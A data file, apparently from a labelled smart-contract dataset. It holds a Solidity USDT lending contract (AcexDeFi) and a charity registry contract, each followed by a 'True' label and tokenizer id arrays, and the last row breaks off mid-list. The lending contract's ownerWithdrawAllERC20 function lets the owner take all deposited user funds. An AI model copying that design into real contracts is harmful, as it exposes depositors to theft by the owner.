* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/AcexDeFi.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
library Lending {
/*
* 4 stages:
*
* Funding Stage: Before "startTime"
* Lending Stage: Between "startTime" and "startTime + duration"
* Processing Stage: Between "startTime + duration" and "startTime + duration + 3 days"
* Redeem Stage: After "startTime + duration + 3 days"
*
* --- Funding --- | --- Lending --- | --- Processing --- | --- Redeem ---
* startTime
* | duration | 3 days |
*
*/
struct Round {
uint256 startTime;
uint256 duration;
uint256 apr; // in thousands (80 for 8%, 100 for 10%)
uint256 softCap; // 5,000 USDT
uint256 hardCap; // 1,000,000 USDT
uint256 personalCap; // 2,000 USDT
uint256 totalLendingAmount;
bool withdrawn;
bool disabled;
}
struct PersonalRound {
Round round;
uint256 lendingAmount;
bool redeemed;
}
}
contract AcexDeFi is
Ownable,
ReentrancyGuard
{
using SafeMath for uint256;
address private _usdtAddress = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // Mainnet USDT
ERC20 private _usdtContract = ERC20(_usdtAddress);
uint256 public _minAmount = 0;
uint256 public _processPeriod = 3 days;
Lending.Round[] private _rounds;
mapping (uint256 => mapping (address => uint256)) private _lendingAmounts;
mapping (uint256 => mapping (address => bool)) private _redeemed;
event Lend (
address indexed lender,
uint256 amount,
uint256 round
);
event Redeem (
address indexed lender,
uint256 amount,
uint256 round
);
function addRound (
uint256 startTime,
uint256 duration,
uint256 apr,
uint256 softCap,
uint256 hardCap,
uint256 personalCap
)
public
onlyOwner
{
_rounds.push(Lending.Round(
startTime,
duration,
apr,
softCap,
hardCap,
personalCap,
0,
false,
false
));
}
function ownerUpdateMinAmount(uint256 minAmount)
public
onlyOwner
{
_minAmount = minAmount;
}
function ownerUpdateProcessPeriod(uint256 processPeriod)
public
onlyOwner
{
_processPeriod = processPeriod;
}
function ownerWithdrawRound(uint256 index)
public
onlyOwner
{
Lending.Round storage round = _rounds[index];
// Check round withdrawn
require(!round.withdrawn, "ACEX DeFi: Round already withdrawn");
// Check current time (after startTime)
require(now > round.startTime, "ACEX DeFi: Cannot redeem in funding phase.");
// Check soft cap
require(round.totalLendingAmount >= round.softCap, "ACEX DeFi: Cannot redeem for failed round (lower than SoftCap).");
round.withdrawn = true;
_usdtContract.transfer(msg.sender, round.totalLendingAmount);
}
function ownerDisableRound(uint256 index)
public
onlyOwner
{
_rounds[index].disabled = true;
}
// Safety method in case user sends in ETH
function ownerWithdrawAllETH()
public
onlyOwner
{
msg.sender.transfer(address(this).balance);
}
// Safety method in case user sends in ERC20 token
function ownerWithdrawAllERC20(address tokenAddress)
public
onlyOwner
{
ERC20 erc20Contract = ERC20(tokenAddress);
erc20Contract.transfer(msg.sender, erc20Contract.balanceOf(address(this)));
}
function getRounds()
public
view
returns (Lending.Round[] memory rounds)
{
return _rounds;
}
function getPersonalRounds()
public
view
returns (Lending.PersonalRound[] memory rounds)
{
rounds = new Lending.PersonalRound[](_rounds.length);
for(uint i = 0; i < _rounds.length; i++) {
rounds[i].round = _rounds[i];
rounds[i].lendingAmount = _lendingAmounts[i][msg.sender];
rounds[i].redeemed = _redeemed[i][msg.sender];
}
return rounds;
}
function lend (
uint256 index,
uint256 amount
)
public
nonReentrant
{
Lending.Round storage round = _rounds[index];
// Check if round is disabled
require(!round.disabled, "ACEX DeFi: Round is disabled.");
// Check current time (funding phase)
require(now < round.startTime, "ACEX DeFi: Funding phase has passed.");
// Check minimum amount
require(amount > _minAmount, "ACEX DeFi: Amount too low");
// Check personal cap
uint256 personalLendingAmount = _lendingAmounts[index][msg.sender].add(amount);
require(personalLendingAmount <= round.personalCap, "ACEX DeFi: Exceeds personal cap.");
// Check hard cap
uint256 totalLendingAmount = round.totalLendingAmount.add(amount);
require(totalLendingAmount <= round.hardCap, "ACEX DeFi: Exceeds round hard cap.");
_usdtContract.transferFrom(msg.sender, address(this), amount);
_lendingAmounts[index][msg.sender] = personalLendingAmount;
round.totalLendingAmount = totalLendingAmount;
emit Lend(msg.sender, amount, index);
}
function redeem (
uint256 index
)
public
nonReentrant
{
Lending.Round storage round = _rounds[index];
// Check if round is disabled
require(!round.disabled, "ACEX DeFi: Round is disabled.");
// Check current time (after startTime)
require(now > round.startTime, "ACEX DeFi: Cannot redeem in funding phase.");
// Check if user has redeemed
require(!_redeemed[index][msg.sender], "ACEX DeFi: Already redeemed.");
if (round.totalLendingAmount < round.softCap) {
// Did not reach softCap, users can redeem after "startTime"
// Pay back to user
uint256 originalAmount = _lendingAmounts[index][msg.sender];
_usdtContract.transfer(msg.sender, originalAmount);
_redeemed[index][msg.sender] = true;
emit Redeem(msg.sender, originalAmount, index);
} else {
// Reached softCap, users can redeem "amount + interest" after "startTime + duration + 3 days"
// Check current time (redeem phase)
require(now > round.startTime.add(round.duration).add(_processPeriod), "ACEX DeFi: Not redeem phase yet.");
uint256 originalAmount = _lendingAmounts[index][msg.sender];
// Interest = original * (apr * duration / 1 year in seconds)
uint256 interestAmount = originalAmount.mul(round.apr).mul(round.duration).div(1000).div(365 days);
uint256 totalAmount = originalAmount + interestAmount;
_usdtContract.transfer(msg.sender, totalAmount);
_redeemed[index][msg.sender] = true;
emit Redeem(msg.sender, totalAmount, index);
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
5709,
1011,
2260,
1008,
1013,
1013,
1013,
5371,
1024,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
8311,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
// File: openzeppelin-solidity/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: openzeppelin-solidity/contracts/access/roles/SignerRole.sol
pragma solidity ^0.5.0;
contract SignerRole is Context {
using Roles for Roles.Role;
event SignerAdded(address indexed account);
event SignerRemoved(address indexed account);
Roles.Role private _signers;
constructor () internal {
_addSigner(_msgSender());
}
modifier onlySigner() {
require(isSigner(_msgSender()), "SignerRole: caller does not have the Signer role");
_;
}
function isSigner(address account) public view returns (bool) {
return _signers.has(account);
}
function addSigner(address account) public onlySigner {
_addSigner(account);
}
function renounceSigner() public {
_removeSigner(_msgSender());
}
function _addSigner(address account) internal {
_signers.add(account);
emit SignerAdded(account);
}
function _removeSigner(address account) internal {
_signers.remove(account);
emit SignerRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/utils/EnumerableSet.sol
pragma solidity ^0.5.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* As of v2.5.0, only `address` sets are supported.
*
* Include with `using EnumerableSet for EnumerableSet.AddressSet;`.
*
* _Available since v2.5.0._
*
* @author Alberto Cuesta Cañada
*/
library EnumerableSet {
struct AddressSet {
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (address => uint256) index;
address[] values;
}
/**
* @dev Add a value to a set. O(1).
* Returns false if the value was already in the set.
*/
function add(AddressSet storage set, address value)
internal
returns (bool)
{
if (!contains(set, value)){
set.index[value] = set.values.push(value);
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
* Returns false if the value was not present in the set.
*/
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
if (contains(set, value)){
uint256 toDeleteIndex = set.index[value] - 1;
uint256 lastIndex = set.values.length - 1;
// If the element we're deleting is the last one, we can just remove it without doing a swap
if (lastIndex != toDeleteIndex) {
address lastValue = set.values[lastIndex];
// Move the last value to the index where the deleted value is
set.values[toDeleteIndex] = lastValue;
// Update the index for the moved value
set.index[lastValue] = toDeleteIndex + 1; // All indexes are 1-based
}
// Delete the index entry for the deleted value
delete set.index[value];
// Delete the old entry for the moved value
set.values.pop();
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return set.index[value] != 0;
}
/**
* @dev Returns an array with all values in the set. O(N).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
* WARNING: This function may run out of gas on large sets: use {length} and
* {get} instead in these cases.
*/
function enumerate(AddressSet storage set)
internal
view
returns (address[] memory)
{
address[] memory output = new address[](set.values.length);
for (uint256 i; i < set.values.length; i++){
output[i] = set.values[i];
}
return output;
}
/**
* @dev Returns the number of elements on the set. O(1).
*/
function length(AddressSet storage set)
internal
view
returns (uint256)
{
return set.values.length;
}
/** @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function get(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return set.values[index];
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: contracts/BondingVaultInterface.sol
pragma solidity ^0.5.2;
interface BondingVaultInterface {
function fundWithReward(address payable _donor) external payable;
function getEthKidsToken() external view returns (address);
function calculateReward(uint256 _ethAmount) external view returns (uint256 _tokenAmount);
function calculateReturn(uint256 _tokenAmount) external view returns (uint256 _returnEth);
function sweepVault(address payable _operator) external;
function addWhitelisted(address account) external;
function removeWhitelisted(address account) external;
}
// File: contracts/YieldVaultInterface.sol
pragma solidity ^0.5.8;
interface YieldVaultInterface {
function withdraw(address _token, address _atoken, uint _amount) external;
function addWhitelisted(address account) external;
function removeWhitelisted(address account) external;
}
// File: contracts/RegistryInterface.sol
pragma solidity ^0.5.2;
interface RegistryInterface {
function getCurrencyConverter() external view returns (address);
function getBondingVault() external view returns (BondingVaultInterface);
function yieldVault() external view returns (YieldVaultInterface);
function getCharityVaults() external view returns (address[] memory);
function communityCount() external view returns (uint256);
}
// File: contracts/RegistryAware.sol
pragma solidity ^0.5.2;
interface RegistryAware {
function setRegistry(address _registry) external;
function getRegistry() external view returns (RegistryInterface);
}
// File: contracts/community/IDonationCommunity.sol
pragma solidity ^0.5.2;
interface IDonationCommunity {
function donateDelegated(address payable _donator) external payable;
function name() external view returns (string memory);
function charityVault() external view returns (address);
}
// File: contracts/EthKidsRegistry.sol
pragma solidity ^0.5.2;
/**
* @title EthKidsRegistry
* @dev Holds the list of the communities' addresses
*/
contract EthKidsRegistry is RegistryInterface, SignerRole {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
BondingVaultInterface public bondingVault;
YieldVaultInterface public yieldVault;
EnumerableSet.AddressSet private communities;
address public currencyConverter;
event CommunityRegistered(address communityAddress);
/**
* @dev Default fallback function, just deposits funds to the community
*/
function() external payable {
address(bondingVault).toPayable().transfer(msg.value);
}
constructor (address payable _bondingVaultAddress, address _yieldVault) public {
require(_bondingVaultAddress != address(0));
bondingVault = BondingVaultInterface(_bondingVaultAddress);
require(_yieldVault != address(0));
yieldVault = YieldVaultInterface(_yieldVault);
}
function registerCommunity(address _communityAddress) onlySigner public {
require(communities.add(_communityAddress), 'This community is already present!');
((RegistryAware)(_communityAddress)).setRegistry(address(this));
bondingVault.addWhitelisted(_communityAddress);
yieldVault.addWhitelisted(_communityAddress);
emit CommunityRegistered(_communityAddress);
}
function registerCurrencyConverter(address _currencyConverter) onlySigner public {
currencyConverter = _currencyConverter;
}
function removeCommunity(address _address) onlySigner public {
bondingVault.removeWhitelisted(_address);
yieldVault.removeWhitelisted(_address);
communities.remove(_address);
}
function getCommunityAt(uint256 _index) public view returns (IDonationCommunity community) {
return IDonationCommunity(communities.get(_index));
}
function communityCount() public view returns (uint256) {
return communities.length();
}
function sweepVault() public onlySigner {
bondingVault.sweepVault(msg.sender);
}
function distributeYieldVault(address _token, address _atoken, uint _amount) public onlySigner {
yieldVault.withdraw(_token, _atoken, _amount);
}
function getCurrencyConverter() public view returns (address) {
return currencyConverter;
}
function getBondingVault() public view returns (BondingVaultInterface) {
return bondingVault;
}
function getCharityVaults() public view returns (address[] memory) {
address[] memory result = communities.enumerate();
for (uint8 i = 0; i < result.length; i++) {
result[i] = IDonationCommunity(result[i]).charityVault();
}
return result;
}
} | True | [
101,
1013,
1013,
5371,
1024,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
8311,
1013,
28177,
2078,
1013,
6123,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
3206,
6123,
1063,
1013,
1013,
4064,
4722,
9570,
2953,
1010,
2000,
4652,
2111,
2013,
20706,
21296,
2075,
1013,
1013,
2019,
6013,
1997,
2023,
3206,
1010,
2029,
2323,
2022,
2109,
3081,
12839,
1012,
9570,
2953,
1006,
1007,
4722,
1063,
1065,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
3025,
1011,
2240,
2053,
1011,
4064,
1011,
5991,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
8311,
1013,
3229,
1013,
4395,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
4395,
1008,
1030,
16475,
3075,
2005,
6605,
11596,
4137,
2000,
1037,
2535,
1012,
1008,
1013,
3075,
4395,
1063,
2358,
6820,
6593,
2535,
1063,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
20905,
